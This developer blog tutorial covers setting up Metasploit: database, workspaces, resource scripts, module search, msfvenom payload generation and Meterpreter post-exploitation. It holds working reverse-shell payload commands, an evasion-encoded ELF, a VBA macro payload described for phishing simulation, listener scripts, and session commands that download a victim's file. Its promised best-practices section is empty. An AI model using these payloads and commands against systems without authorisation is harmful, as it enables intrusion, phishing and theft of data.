← Back to DevBytes
Developer Tutorial July 16, 2026 8 min read

Metasploit: Setup, Configuration, and Best Practices

What is Metasploit and Why It Matters

Metasploit is an open-source penetration testing framework that provides security professionals and developers with a complete platform for developing, testing, and executing exploit code. Originally created by HD Moore, it is now maintained by Rapid7. The framework ships with hundreds of ready-to-use modules covering information gathering, vulnerability scanning, exploitation, payload delivery, post-exploitation, and evasion. For a developer, Metasploit is more than a hacker toolkit — it is a modular Ruby-based environment where you can write your own exploits, automate security assessments, and integrate testing into CI/CD pipelines.

Why does it matter? In modern DevSecOps, verifying that your applications resist real-world attacks is critical. Metasploit lets you safely simulate an adversary, validate patch effectiveness, and understand the actual impact of vulnerabilities. It bridges the gap between theoretical CVSS scores and practical risk, and gives developers a sandbox to learn about vulnerabilities, shellcode, and payloads in a controlled, legal environment.

Setting Up Metasploit

🚀 Deploy your AI agent in 10 minutes

Managed Hermes hosting. Zero DevOps. 100M tokens/mo included.

Try it free →

Prerequisites and Installation

Metasploit runs best on Linux (especially Kali Linux, where it comes pre-installed), macOS, and Windows via the installer. For development purposes, a full Kali Linux virtual machine or a dedicated Linux build station is recommended. The framework requires Ruby, a PostgreSQL database for storing results, and several system libraries.

On a fresh Kali Linux system, ensure everything is updated:

# Update package lists and upgrade existing packages
sudo apt update && sudo apt upgrade -y

# Metasploit is pre-installed, but verify the package
apt list --installed | grep metasploit

# If missing, install the metasploit-framework package
sudo apt install metasploit-framework -y

On macOS, use the official Rapid7 installer from the website, or Homebrew with brew install metasploit. On Windows, download the installer and run the setup wizard. After installation, launch msfconsole to verify it works. The first launch may prompt for database setup; we’ll handle that next.

Configuring the Database

Metasploit uses PostgreSQL to store host data, services, credentials, and loot from engagements. A properly configured database enables efficient searching, reporting, and workspace management. The framework provides a helper tool called msfdb to initialize and manage the database. 

# Start the PostgreSQL service
sudo systemctl start postgresql
sudo systemctl enable postgresql

# Initialize the Metasploit database
sudo msfdb init

# Check the status
sudo msfdb status

# The database configuration is stored in:
# ~/.msf4/database.yml
cat ~/.msf4/database.yml

After initialization, start msfconsole and confirm connectivity with: 

msfconsole
db_status

You should see [*] Connected to remote data service: .... If not, verify PostgreSQL is running and the database.yml file contains correct credentials (default user msf with password auto-generated by msfdb). For development, you can also manually connect to an external database by setting environment variables or editing the YAML file.

Essential Configuration for Development and Testing

Workspace Management

Workspaces allow you to logically separate different projects, penetration tests, or development cycles. Each workspace has its own hosts, services, and notes, preventing data pollution between experiments. 

msfconsole

# List existing workspaces
workspace

# Create a new workspace for a project
workspace -a DevTestProject

# Switch to that workspace
workspace DevTestProject

# Rename a workspace (useful when aligning with CI/CD pipeline names)
workspace -r DevTestProject Sprint42-Audit

# Delete a workspace when done (use -D flag)
workspace -D Sprint42-Audit

You can also specify the workspace at startup with msfconsole -w <name>, which is handy for scripted runs.

Customizing Module Paths and Global Variables

Developers often create custom modules or override existing ones. By default, Metasploit loads modules from ~/.msf4/modules/ and the system install path. You can add extra directories to the module search path. 

# Inside msfconsole
msf > setg MODULE_PATH /home/dev/custom_exploits:/opt/shared_modules

# Persist the setting in the console configuration file
# Edit ~/.msf4/msfconsole.rc and add:
setg MODULE_PATH /home/dev/custom_exploits:/opt/shared_modules

Global variables (setg) persist across module switches, saving time when you repeatedly use the same payload options, LHOST, LPORT, or target settings. They are stored in the workspace's datastore. Common ones to set: 

setg LHOST 192.168.1.10
setg LPORT 4444
setg PAYLOAD windows/meterpreter/reverse_tcp
setg TARGET 0

Resource Scripts for Automation

Resource scripts (.rc files) are plain text files containing a sequence of msfconsole commands. They are perfect for automating repetitive tasks, setting up listeners, or chaining exploits and post-exploitation steps. A developer can integrate these scripts into test suites or run them via cron.

Example resource script listener.rc to quickly start a multi-handler:

# listener.rc - Start a reverse HTTPS handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set ExitOnSession false
set EnableStageEncoding true
set SessionRetryTime 10
exploit -j -z

Run it from the shell:

msfconsole -r listener.rc

Or inside an already running console:

resource /path/to/listener.rc

Resource scripts can also invoke Ruby code inline using the <ruby> block, making them extremely powerful for conditional logic and dynamic configuration.

Using Metasploit: A Developer’s Workflow

Browsing and Searching Modules

Efficiently finding the right module is essential. Metasploit’s search engine supports keywords, CVE IDs, platform, and type filters. 

# Basic keyword search
search eternalblue

# Filter by CVE
search cve:2017-0144

# Combine filters: exploit modules for Windows with a specific severity
search platform:windows type:exploit rank:excellent

# Show detailed info about a module
info exploit/windows/smb/ms17_010_eternalblue

Use back to exit the current module context, and use to select a module. The show options command displays required and optional settings for the selected module.

Payload Generation and Handling

msfvenom is the standalone payload generator. It combines the old msfpayload and msfencode tools. Developers frequently need to generate payloads for different platforms and formats to simulate phishing, binary exploitation, or backdoor testing. 

# List all available payloads
msfvenom -l payloads

# Generate a Windows reverse TCP meterpreter payload as an executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe

# Generate a Linux elf payload with encoding to avoid bad chars
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -f elf -o linux_payload.elf

# Generate a PowerShell base64-encoded command for Windows
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 \
  -f psh-reflection -o powershell_payload.ps1

# Create a macro-enabled Office document with a macro payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -f vba -o payload_macro.txt

Once a payload is delivered and executed, it connects back to a handler. The handler can be set up using a resource script as shown earlier, or interactively: 

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j   # Run as a job in the background

The -j flag runs the handler as a background job, allowing you to continue working in the console while waiting for connections. Use jobs -l to list running jobs, and sessions -l to view active sessions.

Post-Exploitation and Scripting

After gaining a Meterpreter session, developers can explore the target, extract artifacts, or run custom Ruby extensions. Meterpreter provides a rich API for file system access, process manipulation, and network pivoting. 

# Interact with a specific session
sessions -i 1

# Inside meterpreter:
sysinfo
getuid
ps
migrate 
download C:\\Users\\victim\\Documents\\secret.txt
upload /local/path/file.exe C:\\Windows\\Temp\\file.exe
shell

For automation, you can write a custom post-exploitation module. Place your Ruby script under ~/.msf4/modules/post/ or a custom module path. Here’s a minimal example that collects environment variables from a Windows session: 

# ~/.msf4/modules/post/windows/gather/env_check.rb
class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Environment Check',
      'Description'    => 'Collects PATH and user environment variables',
      'License'        => MSF_LICENSE,
      'Platform'       => ['windows'],
      'SessionTypes'   => ['meterpreter']
    ))
  end

  def run
    env_vars = session.shell_command("set")
    print_good("Environment Variables:")
    print_line(env_vars)
  end
end

Load it with reload_all or restart msfconsole, then use: 

use post/windows/gather/env_check
set SESSION 1
run

This modular approach lets you build reusable testing libraries that integrate directly into your security validation pipelines.

Best Practices for Metasploit Development

Conclusion

Metasploit is far more than a collection of exploits — it is a flexible development environment for security testing and adversary simulation. Proper setup with a PostgreSQL-backed database, well-organized workspaces, and resource scripts turns raw module execution into a repeatable, auditable process. By following the configuration steps and best practices outlined here, developers can integrate Metasploit into secure development lifecycles, build custom testing modules, and gain deep insight into how vulnerabilities translate into real-world compromise. Whether you are validating a patch, writing a new post-exploitation module, or simply learning about exploit development, Metasploit gives you the tools to work safely, efficiently, and professionally.

🚀 Need a reliable AI agent for your project?

Deploy Hermes Agent in 10 minutes. Managed hosting, zero DevOps.

Get Started — $23.99/mo
← Back to all articles